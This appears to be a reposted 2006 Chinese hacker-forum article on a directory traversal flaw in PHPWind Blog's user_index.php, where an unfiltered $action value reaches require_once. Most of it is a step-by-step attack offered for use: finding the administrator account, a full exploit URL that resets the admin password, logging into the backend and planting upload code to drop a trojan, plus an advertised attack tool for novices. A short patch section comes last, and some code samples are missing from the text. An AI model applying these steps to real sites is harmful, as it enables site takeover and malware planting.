|
中华网络安全联盟 作者:佚名 来源:网络 时间:2006-3-19
作者:怪狗 文章来源:华夏黑客同盟
前言:phpwind 是一个非常不错的论坛系统,blog 也是phpwind 小组推出一个子系统。
PHPWind
是一套采用 php+mysql 数据库 方式运行并可生成 html 页面的全新且完善的强大系统.
非常不错的blog系统。前几天看网上发布了相关漏洞利用方法,分析了一下源程序看看什么问题。
原来还是一个老漏洞。白狐同志给写了一个工具,我也就写上了祥细利用漏洞的方法。
一
分析:
————————————————————————————————————————————————
经过分析
user_index.php 是用来显示用户控制面板的。
$action 主要作用执行不同的php
来显示不同的页面
例如:
$action 空值显示index 主页面
$action=left显示用户控制面板left.php
$action=comment显示用户控制面板comment.php 评论搜索
分析 变量
$action
在本文件中没有做任意处理。
global.php
中只有一句
if(strpos($REQUEST_URI,'?action')===false)
$ob_check=1;
也不是过滤.以 $action 可以利用的。
require_once(U_P.$action.'.php');
require_once()
语句在脚本执行期间包含并运行指定文件。
来个例子帮助理解
_________________________________
echo.php
test.php
test.php outputs:
"Hello".
_________________________________
define('U_P','./user/');
$action=left
require_once(U_P.$action.'.php');
相当于
require_once(./user/left.php)
当然如果这样看是很正常的,
大家换个思路
我们改成这样的呢?
$action=../user/left
结果是这样的
require_once(./user/../user/left)
等同于
require_once(./user/left.php)
../ 是上一级目录的意思,上一级目录这下面的user 也就是自身
当然,改成
$action=../user/left 没什么意义
我们可以让require_once 去执行我们需要的程序。例如改密码的文件。
admin/manager.php
这个是后台改密码的php文件。
我在这直接给出 manager.php
改密码的格式
manager.php?job=submit&username=root&password=password77169&check_pwd=password77169
改我们大浏览器中改造一下让
require_once去执行
$action=../admin/manager&job=submit&username=root&password=password77169&check_pwd=password77169
require_once(U_P.$action.'.php');
就是执行如下指令
require_once(/user/../admin/manager.php&job=submit&username=root&password=password77169&check_pwd=password77169)
所以主要问题在于 $action 变量没有过滤,可以跨目录运行程序。这也是一个常见的漏洞。
二
攻击:
——————————————————————————————————————————————————————————
第一步注册:
打开网站
http://xxxx.77169.com/blog
打开注册页面,
http://xxxx.77169.com/blog/register.php
接着提示注册一个帐号,并登陆,保存cookies
一年
第二步查管理员用户名:
如果查找管理员呢?因为phpwind blog 安装之后,第一个用户就是超级管理员。
所以,浏览 http://xxxx.77169.com//blog/blog.php?uid_1.html
看看管理员的用户名是什么。
如图
1 所示,
我们得知了 管理员的用户名可能是 root
也有另一种可能,第一个帐号不是管理员怎么办呢?
你查一下前十个,一般都有管理员。如果你找不到管理员。那就没办法进入后台了。
第三步改管理员密码:
当我们找到管理员之后,我们要漏洞修改管理员的密码。
http://xxxx.77169.com/blog/user_index.php?action=../admin/manager&job=submit&username=root&password=password77169&check_pwd=password77169
如图
2
显示成功
完成相应操作
返 回 继 续 操 作
第四步改登陆后台:
我们有了管理员的帐号和密码之后,我们可以登陆后台
默认的后台地址是
http://xxxx.77169.com/blog/admin.php
如图3
有些管理员比较BT 给后台地址删除了,那只能另想办法了,来我们论坛讨论 http://bbs.77169.com
登
陆成功如图4
第5步上传木马
1,进blog
后台找到“网站风格设置”在里面加上以下代码,用来输入代码。注意要写在最上面,代码如下:
-->
然后在本地新建一个提交表单代码如下:
修改好
http://目标服务器/index.php
为自己的攻击地址。
浏览要上传的文件地址,点击提交!
文件就传到对方的根目录下了。
当然 对菜鸟来说 手动有点难!
我们为新手写了一个软件,专用的攻击工具
很简单。
一,点检测,注册帐号
二,点查管理员
三,点改管理员密码
四,点登陆后台 OK 大功告成。
传木马的步骤就交给大家自己完成了。
工具下载地址 :正在上传
三,防范:
——————————————————————————————————————————————————————————
这个漏洞防范要点在于
$action
变量的过滤。
1,手动打补丁
我们可以在
/user/global.php
文件中加一句话
strpos($action,'..')!==
false && exit('Forbidden');
如果发现 action 中包含 ..
就退出程序.当然你也可以加点恶意代码!请大家八仙过海 各显其能。
2,去官方网站下载补丁包
简体升级包下载:
地址:http://www.phpwind.com/blog/3.0/upto.zip
|